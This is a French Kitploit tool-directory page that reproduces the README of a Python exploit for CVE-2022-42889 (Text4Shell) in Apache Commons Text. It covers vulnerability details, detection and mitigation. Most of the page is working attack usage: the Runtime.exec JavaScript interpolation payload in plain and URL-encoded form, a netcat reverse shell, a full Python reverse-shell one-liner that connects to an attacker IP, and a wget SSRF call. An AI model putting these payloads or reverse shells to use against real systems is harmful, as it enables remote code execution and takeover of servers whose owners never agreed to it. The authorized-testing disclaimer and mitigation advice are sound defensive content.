Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-42889 — Exploit Python pour CVE-2022-42889 (Text4Shell) permettant l'exécution de code à distance via l'interpolation Apache Commons Text. Prend en charge la génération de shell inversé, le SSRF et l'exécution de commandes personnalisées. | Kitploit
Outils/GitHubGitHub/engranaabubakar/cve-2022-42889
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationOutil d'Accès à Distance
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

Exploit Python pour CVE-2022-42889 (Text4Shell) permettant l'exécution de code à distance via l'interpolation Apache Commons Text. Prend en charge la génération de shell inversé, le SSRF et l'exécution de commandes personnalisées.

Voir le dépôt
5il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚀 Exploit CVE-2022-42889 (Text4Shell)

Python 3 License CVE

Un exploit Python pour CVE-2022-42889 (Text4Shell), une vulnérabilité critique d'exécution de code à distance dans les versions d'Apache Commons Text antérieures à 1.10.0.

📋 Table des matières

  • Description
  • Détails de la vulnérabilité
  • Versions affectées
  • Fonctionnalités de l'exploit
  • Prérequis
  • Utilisation
  • Exemples
  • Comment ça fonctionne
  • Détection
  • Atténuation
  • Références
  • Avertissement

📝 Description

Cet exploit cible CVE-2022-42889 (Text4Shell), une vulnérabilité dans Apache Commons Text qui permet l'exécution de code à distance (RCE) via des chaînes d'entrée spécialement conçues traitées par l'interpolateur StringLookup.

La vulnérabilité a un impact similaire à Log4Shell mais affecte une bibliothèque différente. Lorsque des entrées contrôlées par l'utilisateur sont passées à des méthodes vulnérables, un attaquant peut exécuter du code arbitraire sur le système cible.

🎯 Détails de la vulnérabilité

  • ID CVE : CVE-2022-42889
  • Score CVSS : 9.8 (Critique)
  • Vecteur d'attaque : Réseau
  • Privilèges requis : Aucun
  • Interaction de l'utilisateur : Aucune
  • Impact : Compromission complète du système

Composant vulnérable

Apache Commons Text fournit une interpolation de chaîne via l'interface StringLookup. La recherche interpolator permet l'évaluation d'expressions avec différents préfixes, notamment :

  • ${script:javascript:...} - Exécute du code JavaScript (moteur Nashorn)
  • ${url:UTF-8:...} - Récupère des URLs (SSRF)
  • ${dns:...} - Recherches DNS

⚠️ Versions affectées

ProduitVersions affectéesVersion corrigée
Apache Commons Text< 1.10.01.10.0
Java< 15 (pour RCE)15+ (Nashorn désactivé)

Note : Les versions Java ≥ 15 ne sont pas vulnérables à l'exécution de code à distance via le préfixe script (Nashorn désactivé), mais peuvent toujours être vulnérables au SSRF via les préfixes url et dns.

✨ Fonctionnalités de l'exploit

  • ✅ Exécution de code à distance (RCE) via interpolation JavaScript
  • ✅ Server-Side Request Forgery (SSRF) via interpolation d'URL
  • ✅ Encodage URL des charges utiles malveillantes
  • ✅ Exécution de commandes personnalisées
  • ✅ Génération de shell inversé avec LHOST/LPORT
  • ✅ Gestion des erreurs et affichage des réponses

📦 Prérequis

  • Python 3.6+
  • Bibliothèque requests

Installer les dépendances :

root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>

Arguments

ArgumentDescriptionRequis
-t, --targetAdresse IP cible✅ Oui
-p, --portPort cible (par défaut : 8080)❌ Non
-c, --commandCommande à exécuter✅ Oui
--lhostVotre IP pour le shell inversé✅ Oui
--lportVotre port pour le shell inversé✅ Oui

💻 Exemples

Exemple 1 : Test de commande simple

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444

Exemple 2 : Shell inversé avec netcat

root@kitploit:~
# Start listener
nc -lvnp 4444

# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444

Exemple 3 : Shell inversé Python

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444

Exemple 4 : Test SSRF

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

🔧 Comment ça fonctionne

Construction de la charge utile : Le script crée une chaîne malveillante utilisant la syntaxe ${script:javascript:...} :

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}

Encodage URL : Les caractères spéciaux sont encodés en URL pour assurer une transmission correcte :

root@kitploit:~
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D

Requête HTTP : Le script envoie une requête GET à :

root@kitploit:~
http://TARGET:PORT/search?query=ENCODED_PAYLOAD

Exécution de la commande : Si vulnérable, la cible évalue le JavaScript et exécute la commande.

🔍 Détection

Vérifiez si votre système est vulnérable :

Test manuel

root@kitploit:~
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"

Si la réponse contient 49 au lieu de ${script:javascript:7*7}, le système est vulnérable.

Vérification de version

  • Vérifiez les fichiers CHANGELOG ou README pour la version d'Apache Commons Text
  • Recherchez les fichiers commons-text-*.jar dans l'application

🛡️ Atténuation

Mettez à niveau Apache Commons Text vers la version 1.10.0 ou supérieure :

root@kitploit:~
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>
  • Mettez à niveau vers Java 15+ (désactive le moteur JavaScript Nashorn)
  • Validation des entrées : Implémentez une validation stricte des entrées utilisateur
  • Désactiver l'interpolation : Si non nécessaire, évitez d'utiliser StringSubstitutor.createInterpolator()
  • Pare-feu applicatif (WAF) : Bloquez les requêtes contenant les motifs ${script:javascript:}

📚 Références

  • NVD - CVE-2022-42889
  • Apache Commons Text Security
  • Tarlogic - Text4Shell Analysis
  • CISA Alert

⚠️ Avertissement

Cet exploit est fourni à des fins éducatives et uniquement pour des tests de sécurité autorisés. L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.

📄 Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

🤝 Contribution

Les contributions, les problèmes et les demandes de fonctionnalités sont les bienvenus ! N'hésitez pas à consulter la page des issues.

Bon hack ! 🚀

Télécharger l’outil